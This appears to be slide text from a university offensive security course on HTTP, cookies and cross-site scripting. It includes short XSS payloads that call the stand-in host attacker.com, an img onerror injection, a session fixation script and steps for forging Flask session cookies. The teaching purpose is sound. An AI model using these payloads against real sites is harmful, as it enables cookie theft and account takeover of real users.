Week 2 - XSS

Intro to Offensive Security

But first, HTTP

HTTP

- Hypertext Transfer Protocol
- Foundation of the internet
- (Until HTTP2) human readable
  - Now binary format to reduce size/parsing time

HTTP Requests

```
GET / HTTP/1.1
Host: www.google.com
```

- GET is the method
- / is the resource
- HTTP/1.1 is the version
  - Don't worry about 1.0, 1.1 is always what's used
- Host header specifies the domain
  - Virtual hosts - multiple domains on a single IP

HTTP Responses

```
HTTP/1.1 200 OK
Server: gws
Set-Cookie: …
```

- 200 is the response code
  - 200, 403, 404, 500
- Headers specify information about the server (gws) or information for the client (set-cookie)

HTTP Headers

- "Attributes" about the request
- "Host" was a header in the last example
- Both client->server and server->client
- Most sought-after: "Cookies"
    - Set by the server to keep track of who is who

HTTP Sending Data

- GET
  - Values sent in the requested resource
  - GET /register.php?username=foo&password=bar HTTP/1.1
- POST
  - Values sent encoded in the request body

```
POST /register.php HTTP/1.1
Content-Length: 25
Content-Type: application/x-www-form-urlencoded


username=foo&password=bar
```

HTTP Sending Data

- POST content types
    - application/x-www-form-urlencoded
        - <form>s with no file upload
    - multipart/formdata
        - <form> with file upload
    - application/json
        - JSON (ex. {'username': 'foo', 'password': 'bar'})
        - Most popular with APIs

Cookies

- Set by the server (Set-Cookie header)
- Used to identify you to the server
- Implemented in multiple ways
    - PHP: Session ID which just corresponds to data saved server-side
    - Python/Flask: Encoded and MACd with actual data the server wants to store
- Sent with *every* HTTP request for the domain they correspond to

Cookie Properties

- Value (duh)
- Domain (can be all subdomains)
- Expiration time
- Some flags, 2 of which we care about:
  - Secure: cookie can only be sent by the browser when using SSL/TLS (HTTPS)
  - HTTPOnly: cookie can not be seen from JS

XSS

XSS?

- Cross Site Scripting
- Basically JavaScript injection
- Useful in a number of ways:
    - Cookie stealing (/privilege escalation)
    - Performing actions on behalf of the "recipient" of the XSS
    - Basically doing anything that they/their browser could do on that website

XSS Types

- Reflected
  - Injection occurs directly in a GET/POST

```
echo "<p>Hello $name</p>"
$name = "<script>alert(1)</script>";
```

- Persistent
  - Injected content is stored in a DB
  - Generally more dangerous

(Quick Aside) XHR

- XMLHTTPRequest
- JS built-in way to make HTTP requests

```
xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "http://attacker.com/foo", false);
xmlhttp.send(null);
```

Testing for XSS

- In all fields, have a small script which GETs back to a server with a unique ID corresponding to the field it came from

- Name:
  ```
  <script>jQuery.get('http://attacker.com/1');</script>
  ```
- Message:
  ```
  <script>jQuery.get('http://attacker.com/2');</script>
  ```

Performing Actions

- Simplest thing to do is call a function that already exists to do what you want
  - E.g. mark another (attacker) account as an administrator
- Will commonly already exist for normal website operation
- If not, manually construct HTTP request to hit an endpoint
  - XMLHTTPRequest
  - $.get

Cookie Exfiltration

- Send a request to an attacker-controlled server with cookies in the URL, in POST data, etc.
- Again, XMLHTTPRequest or $.get

XSS Mitigations

- So, just filter `<script`, right?

XSS Again

- Other elements have ways to execute JS
  - Most common technique is with an img
    - <img src="doesntexist.jpg" onerror="javascript:alert(1)" />
  - Many others do as well though

XSS Mitigations

- Browser "XSS Auditors"
  - Generally not a thing in the scope of CTFs
  - Persistent injection bypasses
  - Possible to get around
- HttpOnly property
- Tie cookies to other, non-changeable parts of the request
  - User agent
  - IP

XSS In CTFs

- Basically all scenarios are sending a message to an admin for approval
  - XSS in the supplied name, email, message, etc.
- Cookie steal from that to pivot to the admin's account
- Commonly uses PhantomJS
- We probably won't have any homeworks on this
  - Annoying to setup on our end
  - You need servers to receive the exfiltrated data

Other Attacks – Session Fixation

- In some languages (e.g. PHP), the cookie is just an ID
- If we can inject JS before login, we can set the cookie ID to a know value
- User logs in, and we know the cookie they logged in under

Session Fixation Example

- Website home page has XSS vuln
- Inject `` `<script>document.cookie = "PHPSESSID=foobar;"</script>` ``
- User notices they`'`ve been logged out, logs in
- Attacker now browses to the site with `PHPSESSID=foobar`, and becomes that user

Other Attacks – Decrypting Cookies

- Other languages/frameworks (e.g. Python+Flask) store all session data in the cookie
  - Encoded JSON + MAC
- Leak the secret used to encrypt the MAC
- Change the data
- Re-MAC
- …
- profit

Other Attacks – Decrypting Cookies

- Allows us to change whatever data the server stores
  - Could lead to another attack vector
    - SQLi
    - Command injection

Decrypting Cookies Example (Flask)

- Server-side misconfigured to leak .pyc files (or otherwise misconfigured to reveal the secret)
- Attacker logs in to an account, generating a cookie
- Attacker decodes the cookie, changes whatever they want (user id, username, etc.)
- Attacker re-MACs the cookie
- Future accesses to the website with the modified cookie are seemingly valid to the server, but are completely attacker-controlled